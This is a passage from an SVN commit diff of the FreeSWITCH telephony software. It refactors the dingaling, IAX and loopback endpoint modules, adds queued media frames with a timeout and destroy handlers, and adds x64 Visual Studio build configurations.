 
@@ -2185,9 +2313,7 @@
 			switch_snprintf(dbname, sizeof(dbname), "dingaling_%s", profile->name);
 			profile->dbname = switch_core_strdup(module_pool, dbname);
 
-
-#ifdef SWITCH_HAVE_ODBC
-			if (profile->odbc_dsn) {
+			if (switch_odbc_available() && profile->odbc_dsn) {
 				if (!(profile->master_odbc = switch_odbc_handle_new(profile->odbc_dsn, profile->odbc_user, profile->odbc_pass))) {
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
 					continue;
@@ -2202,7 +2328,6 @@
 				switch_odbc_handle_exec(profile->master_odbc, sub_sql, NULL);
 				//mdl_execute_sql(profile, sub_sql, NULL);
 			} else {
-#endif
 				if ((db = switch_core_db_open_file(profile->dbname))) {
 					switch_core_db_test_reactive(db, "select * from jabber_subscriptions", NULL, sub_sql);
 				} else {
@@ -2210,9 +2335,7 @@
 					continue;
 				}
 				switch_core_db_close(db);
-#ifdef SWITCH_HAVE_ODBC
 			}
-#endif
 		}
 
 		if (profile) {
@@ -2277,7 +2400,7 @@
 	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "from", from);
 	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "object", "vcard");
 
-	if (switch_xml_locate("directory", "domain", "name", to_host, &xml, &domain, params) != SWITCH_STATUS_SUCCESS) {
+	if (switch_xml_locate("directory", "domain", "name", to_host, &xml, &domain, params, SWITCH_FALSE) != SWITCH_STATUS_SUCCESS) {
 		//switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "can't find domain for [%s@%s]\n", to_user, to_host);
 		goto end;
 	}
@@ -2488,10 +2611,11 @@
 					}
 					from = ffrom;
 				}
+				
+				if (strcasecmp(proto, MDL_CHAT_PROTO)) { /* yes no ! on purpose */
+					switch_core_chat_send(proto, MDL_CHAT_PROTO, from, to, subject, switch_str_nil(msg), NULL, hint);
+				}
 
-
-				switch_core_chat_send(proto, MDL_CHAT_PROTO, from, to, subject, switch_str_nil(msg), NULL, hint);
-
 				switch_safe_free(pproto);
 				switch_safe_free(ffrom);
 			}
@@ -2535,19 +2659,19 @@
 
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "using Existing session for %s\n", ldl_session_get_id(dlsession));
 
-		if (switch_channel_get_state(channel) >= CS_HANGUP) {
+		if (switch_channel_down(channel)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Call %s is already over\n", switch_channel_get_name(channel));
 			status = LDL_STATUS_FALSE;
 			goto done;
 		}
-
+		
 	} else {
 		if (dl_signal != LDL_SIGNAL_INITIATE && !msg) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Session is already dead\n");
 			status = LDL_STATUS_FALSE;
 			goto done;
 		}
-		if ((session = switch_core_session_request(dingaling_endpoint_interface, NULL)) != 0) {
+		if ((session = switch_core_session_request(dingaling_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
 			switch_core_session_add_stream(session, NULL);
 
 			if ((tech_pvt = (struct private_object *) switch_core_session_alloc(session, sizeof(struct private_object))) != 0) {
@@ -2737,6 +2861,7 @@
 			if (switch_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
 				if (!strcasecmp(msg, "accept")) {
 					switch_set_flag_locked(tech_pvt, TFLAG_ANSWER);
+					switch_set_flag_locked(tech_pvt, TFLAG_TRANSPORT_ACCEPT);
 					if (!do_candidates(tech_pvt, 0)) {
 						terminate_session(&session, __LINE__, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 						status = LDL_STATUS_FALSE;
@@ -2900,7 +3025,7 @@
 				}
 
 				if (!strcasecmp(subject, "candidates")) {
-					switch_set_flag_locked(tech_pvt, TFLAG_TRANSPORT_ACCEPT);
+					//switch_set_flag_locked(tech_pvt, TFLAG_TRANSPORT_ACCEPT);
 					switch_set_flag_locked(tech_pvt, TFLAG_ANSWER);
 				}
 

Property changes: freeswitch/branches/seven/src/mod/endpoints/mod_iax


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_iax/mod_iax.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_iax/mod_iax.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_iax/mod_iax.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -83,6 +86,75 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS;WIN32_TIME_GET_TIME;LIBIAX;NEWJB;_CRT_SECURE_NO_DEPRECATE;DEBUG_SUPPORT"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4201;4200;4100;4127;6246;6053;6031;6262;4706"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libs\iax\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -147,6 +219,74 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;_WINDOWS;_USRDLL;MOD_EXPORTS;LIBIAX;WIN32_TIME_GET_TIME;DEBUG_SUPPORT;NEWJB;_CRT_SECURE_NO_DEPRECATE"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4201;4200;4100;4127;6246;6053;6031;6262;4706"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libs\iax\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_iax/mod_iax.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_iax/mod_iax.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_iax/mod_iax.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_iax.c -- IAX2 Endpoint Module
@@ -79,14 +79,14 @@
 	int fd;
 	int calls;
 	switch_mutex_t *mutex;
+	int media_timeout;
 } globals;
 
 struct private_object {
 	unsigned int flags;
 	switch_codec_t read_codec;
 	switch_codec_t write_codec;
-	switch_frame_t read_frame;
-	unsigned char databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+	switch_frame_t *read_frame;
 	switch_frame_t cng_frame;
 	unsigned char cng_databuf[10];
 	switch_core_session_t *session;
@@ -97,6 +97,10 @@
 	unsigned short samprate;
 	switch_mutex_t *mutex;
 	switch_mutex_t *flag_mutex;
+	int cng_count;
+	switch_timer_t timer;
+	switch_queue_t *frame_queue;
+	int media_timeout;
 	//switch_thread_cond_t *cond;
 };
 
@@ -224,6 +228,7 @@
 	unsigned int local_cap = 0, mixed_cap = 0, chosen = 0, leading = 0;
 	int x, srate = 8000;
 	uint32_t interval = 0;
+	const switch_codec_implementation_t *read_impl;
 
 	if (globals.codec_string) {
 		num_codecs = switch_loadable_module_get_codecs_sorted(codecs, SWITCH_MAX_CODECS, globals.codec_order, globals.codec_order_last);
@@ -395,9 +400,7 @@
 			int rate;
 			ms = tech_pvt->write_codec.implementation->microseconds_per_packet / 1000;
 			rate = tech_pvt->write_codec.implementation->samples_per_second;
-			tech_pvt->read_frame.rate = rate;
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Activate Codec %s/%d %d ms\n", dname, rate, ms);
-			tech_pvt->read_frame.codec = &tech_pvt->read_codec;
 			switch_core_session_set_read_codec(tech_pvt->session, &tech_pvt->read_codec);
 			switch_core_session_set_write_codec(tech_pvt->session, &tech_pvt->write_codec);
 			switch_set_flag_locked(tech_pvt, TFLAG_CODEC);
@@ -406,6 +409,16 @@
 		tech_pvt->codecs = local_cap;
 	}
 
+	read_impl = tech_pvt->read_codec.implementation;
+
+	switch_core_timer_init(&tech_pvt->timer, "soft", 
+						   read_impl->microseconds_per_packet / 1000, 
+						   read_impl->samples_per_packet,
+						   switch_core_session_get_pool(tech_pvt->session));
+
+	tech_pvt->media_timeout = (read_impl->samples_per_second * globals.media_timeout) / read_impl->samples_per_packet;
+
+
 	if (io == IAX_QUERY) {
 		*format = tech_pvt->codec;
 		*cababilities = local_cap;
@@ -416,6 +429,7 @@
 
 static switch_status_t channel_on_init(switch_core_session_t *session);
 static switch_status_t channel_on_hangup(switch_core_session_t *session);
+static switch_status_t channel_on_destroy(switch_core_session_t *session);
 static switch_status_t channel_on_routing(switch_core_session_t *session);
 static switch_status_t channel_on_exchange_media(switch_core_session_t *session);
 static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
@@ -441,14 +455,13 @@
 
 static void tech_init(private_t *tech_pvt, switch_core_session_t *session)
 {
-	tech_pvt->read_frame.data = tech_pvt->databuf;
-	tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
 	tech_pvt->cng_frame.data = tech_pvt->cng_databuf;
 	tech_pvt->cng_frame.buflen = sizeof(tech_pvt->cng_databuf);
 	switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
 	tech_pvt->cng_frame.datalen = 2;
 	switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
 	switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+	switch_queue_create(&tech_pvt->frame_queue, 50000, switch_core_session_get_pool(session));
 	switch_core_session_set_private(session, tech_pvt);
 	tech_pvt->session = session;
 }
@@ -488,6 +501,29 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+static switch_status_t channel_on_destroy(switch_core_session_t *session)
+{
+	private_t *tech_pvt = switch_core_session_get_private(session);
+	void *pop;
+
+	if (tech_pvt) {
+		if (switch_core_codec_ready(&tech_pvt->read_codec)) {
+			switch_core_codec_destroy(&tech_pvt->read_codec);
+		}
+		
+		if (!switch_core_codec_ready(&tech_pvt->write_codec)) {
+			switch_core_codec_destroy(&tech_pvt->write_codec);
+		}
+
+		while (switch_queue_trypop(tech_pvt->frame_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+			switch_frame_t *frame = (switch_frame_t *) pop;
+			switch_frame_free(&frame);
+		}
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
 static switch_status_t channel_on_hangup(switch_core_session_t *session)
 {
 	private_t *tech_pvt = switch_core_session_get_private(session);
@@ -498,14 +534,6 @@
 	switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
 	switch_clear_flag_locked(tech_pvt, TFLAG_CODEC);
 
-	if (tech_pvt->read_codec.implementation) {
-		switch_core_codec_destroy(&tech_pvt->read_codec);
-	}
-
-	if (tech_pvt->write_codec.implementation) {
-		switch_core_codec_destroy(&tech_pvt->write_codec);
-	}
-
 	switch_mutex_lock(globals.mutex);
 	if (tech_pvt->iax_session) {
 		if (!switch_test_flag(tech_pvt, TFLAG_HANGUP)) {
@@ -575,10 +603,9 @@
 {
 	private_t *tech_pvt = switch_core_session_get_private(session);
 	switch_byte_t *data;
-	int ms_count = 0;
+	void *pop;
 
 	switch_assert(tech_pvt != NULL);
-	tech_pvt->read_frame.flags = SFF_NONE;
 	*frame = NULL;
 
 	while (switch_test_flag(tech_pvt, TFLAG_IO)) {
@@ -596,41 +623,46 @@
 			return SWITCH_STATUS_FALSE;
 		}
 
-		if (switch_test_flag(tech_pvt, TFLAG_IO) && switch_test_flag(tech_pvt, TFLAG_DTMF)) {
-			switch_clear_flag_locked(tech_pvt, TFLAG_DTMF);
-			*frame = &tech_pvt->cng_frame;
-			return SWITCH_STATUS_SUCCESS;
+		if (!switch_queue_size(tech_pvt->frame_queue)) {
+			switch_core_timer_next(&tech_pvt->timer);
 		}
 
-		if (switch_test_flag(tech_pvt, TFLAG_IO) && switch_test_flag(tech_pvt, TFLAG_VOICE)) {
-			switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
-			if (!tech_pvt->read_frame.datalen) {
-				continue;
+		if (switch_queue_trypop(tech_pvt->frame_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+			if (tech_pvt->read_frame) {
+				switch_frame_free(&tech_pvt->read_frame);
 			}
-			*frame = &tech_pvt->read_frame;
+
+			tech_pvt->read_frame = (switch_frame_t *) pop;
+			tech_pvt->read_frame->codec = &tech_pvt->read_codec;
+			*frame = tech_pvt->read_frame;
+
 #ifdef BIGENDIAN
 			if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
 				switch_swap_linear((*frame)->data, (int) (*frame)->datalen);
 			}
 #endif
+			switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+			tech_pvt->cng_count = tech_pvt->media_timeout;
 			return SWITCH_STATUS_SUCCESS;
+		} else {
+			if (tech_pvt->cng_count && --tech_pvt->cng_count == 0) {
+				break;
+			}
+			goto cng;
 		}
 
-		switch_cond_next();
-		if (++ms_count >= 30000) {
-			break;
-		}
+
 	}
 
 	return SWITCH_STATUS_FALSE;
 
   cng:
-	data = (switch_byte_t *) tech_pvt->read_frame.data;
+	data = (switch_byte_t *) tech_pvt->cng_frame.data;
 	data[0] = 65;
 	data[1] = 0;
-	tech_pvt->read_frame.datalen = 2;
-	tech_pvt->read_frame.flags = SFF_CNG;
-	*frame = &tech_pvt->read_frame;
+	tech_pvt->cng_frame.datalen = 2;
+	tech_pvt->cng_frame.flags = SFF_CNG;
+	*frame = &tech_pvt->cng_frame;
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -688,6 +720,18 @@
 			channel_answer_channel(session);
 		}
 		break;
+
+	case SWITCH_MESSAGE_INDICATE_BRIDGE:
+	case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
+	case SWITCH_MESSAGE_INDICATE_AUDIO_SYNC:
+		{
+			void *pop;
+
+			while (switch_queue_trypop(tech_pvt->frame_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+				switch_frame_t *frame = (switch_frame_t *) pop;
+				switch_frame_free(&frame);
+			}
+		}
 	default:
 		break;
 	}
@@ -702,7 +746,7 @@
 													switch_caller_profile_t *outbound_profile,
 													switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags)
 {
-	if ((*new_session = switch_core_session_request(iax_endpoint_interface, pool)) != 0) {
+	if ((*new_session = switch_core_session_request(iax_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
 		private_t *tech_pvt;
 		switch_channel_t *channel;
 		switch_caller_profile_t *caller_profile;
@@ -787,7 +831,13 @@
 	/*.on_execute */ channel_on_execute,
 	/*.on_hangup */ channel_on_hangup,
 	/*.on_exchange_media */ channel_on_exchange_media,
-	/*.on_soft_execute */ channel_on_soft_execute
+	/*.on_soft_execute */ channel_on_soft_execute,
+	/*.on_consume_media*/ NULL,
+    /*.on_hibernate*/ NULL,
+    /*.on_reset*/ NULL,
+    /*.on_park*/ NULL,
+    /*.on_reporting*/ NULL,
+    /*.on_destroy*/ channel_on_destroy
 };
 
 switch_io_routines_t iax_io_routines = {
@@ -802,6 +852,8 @@
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_iax_load)
 {
+	memset(&globals, 0, sizeof(globals));
+		
 	module_pool = pool;
 
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
@@ -832,6 +884,8 @@
 		return SWITCH_STATUS_TERM;
 	}
 
+	globals.media_timeout = 300;
+
 	if ((settings = switch_xml_child(cfg, "settings"))) {
 		for (param = switch_xml_child(settings, "param"); param; param = param->next) {
 			char *var = (char *) switch_xml_attr_soft(param, "name");
@@ -847,6 +901,11 @@
 				if (!strcasecmp(val, "us")) {
 					switch_set_flag(&globals, GFLAG_MY_CODEC_PREFS);
 				}
+			} else if (!strcmp(var, "media-timeout")) {
+				int mt = atoi(val);
+				if (mt > 0) {
+					globals.media_timeout = mt;
+				}
 			} else if (!strcmp(var, "dialplan")) {
 				set_global_dialplan(val);
 			} else if (!strcmp(var, "codec-prefs")) {
@@ -1008,7 +1067,7 @@
 					switch_core_session_t *session;
 
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "New Inbound Channel %s!\n", iaxevent->ies.calling_name);
-					if ((session = switch_core_session_request(iax_endpoint_interface, NULL)) != 0) {
+					if ((session = switch_core_session_request(iax_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
 						switch_core_session_add_stream(session, NULL);
 						if ((tech_pvt = (private_t *) switch_core_session_alloc(session, sizeof(private_t))) != 0) {
 							channel = switch_core_session_get_channel(session);
@@ -1078,22 +1137,29 @@
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "sending silence\n");
 				break;
 			case IAX_EVENT_VOICE:
-				if (tech_pvt && (tech_pvt->read_frame.datalen = iaxevent->datalen) != 0) {
-					if (channel && switch_channel_get_state(channel) <= CS_HANGUP) {
+				if (tech_pvt && iaxevent->datalen) {
+					if (channel && switch_channel_up(channel)) {
 						int bytes = 0, frames = 1;
+						switch_frame_t *frame = NULL;
 
-						if (!switch_test_flag(tech_pvt, TFLAG_CODEC) || !tech_pvt->read_codec.implementation) {
+						if (!switch_test_flag(tech_pvt, TFLAG_CODEC) || !tech_pvt->read_codec.implementation || 
+							!switch_core_codec_ready(&tech_pvt->read_codec)) {
 							switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
 							break;
 						}
 						
 						if (tech_pvt->read_codec.implementation->encoded_bytes_per_packet) {
 							bytes = tech_pvt->read_codec.implementation->encoded_bytes_per_packet;
-							frames = (int) (tech_pvt->read_frame.datalen / bytes);
+							frames = (int) (iaxevent->datalen / bytes);
 						}
+						
+						switch_frame_alloc(&frame, iaxevent->datalen);
+						
+						memcpy(frame->data, iaxevent->data, iaxevent->datalen);
+						frame->datalen = iaxevent->datalen;
+						switch_queue_push(tech_pvt->frame_queue, frame);
+						frame = NULL;
 
-						tech_pvt->read_frame.samples = frames * tech_pvt->read_codec.implementation->samples_per_packet;
-						memcpy(tech_pvt->read_frame.data, iaxevent->data, iaxevent->datalen);
 						/* wake up the i/o thread */
 						switch_set_flag_locked(tech_pvt, TFLAG_VOICE);
 					}
@@ -1148,6 +1214,12 @@
 		}
 		switch_yield(20000);
 	}
+	
+	switch_safe_free(globals.dialplan);
+	switch_safe_free(globals.codec_string);
+	switch_safe_free(globals.codec_rates_string);
+	switch_safe_free(globals.ip);
+	
 	return SWITCH_STATUS_SUCCESS;
 }
 

Property changes: freeswitch/branches/seven/src/mod/endpoints/mod_loopback


Name: svn:ignore
   - Debug
*.pdb
*.user
Release
.libs
*.so
   + Debug
*.pdb
*.user
Release
.libs
*.so
Win32
x64

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_loopback/mod_loopback.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_loopback/mod_loopback.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_loopback/mod_loopback.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -79,6 +82,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -139,6 +207,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_loopback/mod_loopback.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_loopback/mod_loopback.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_loopback/mod_loopback.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_loopback.c -- Loopback Endpoint Module
@@ -36,6 +36,8 @@
 #include <math.h>
 #include <string.h>
 
+#define FRAME_QUEUE_LEN 3
+
 SWITCH_MODULE_LOAD_FUNCTION(mod_loopback_load);
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_loopback_shutdown);
 SWITCH_MODULE_DEFINITION(mod_loopback, mod_loopback_load, mod_loopback_shutdown, NULL);
@@ -57,6 +59,7 @@
 struct private_object {
 	unsigned int flags;
 	switch_mutex_t *flag_mutex;
+	switch_mutex_t *mutex;
 	switch_core_session_t *session;
 	switch_channel_t *channel;
 	switch_core_session_t *other_session;
@@ -68,14 +71,16 @@
 	unsigned char databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
 
 	switch_frame_t *x_write_frame;
-	switch_frame_t write_frame;
+	switch_frame_t *write_frame;
 	unsigned char write_databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
 
 	switch_frame_t cng_frame;
-	unsigned char cng_databuf[10];
+	unsigned char cng_databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
 	switch_timer_t timer;
 	switch_caller_profile_t *caller_profile;
 	int32_t bowout_frame_count;
+	char *other_uuid;
+	switch_queue_t *frame_queue;
 };
 
 typedef struct private_object private_t;
@@ -86,6 +91,7 @@
 
 static switch_status_t channel_on_init(switch_core_session_t *session);
 static switch_status_t channel_on_hangup(switch_core_session_t *session);
+static switch_status_t channel_on_destroy(switch_core_session_t *session);
 static switch_status_t channel_on_routing(switch_core_session_t *session);
 static switch_status_t channel_on_exchange_media(switch_core_session_t *session);
 static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
@@ -111,11 +117,11 @@
 		interval = codec->implementation->microseconds_per_packet / 1000;
 	}
 	
-	if (tech_pvt->read_codec.implementation) {
+	if (switch_core_codec_ready(&tech_pvt->read_codec)) {
 		switch_core_codec_destroy(&tech_pvt->read_codec);
 	}
 
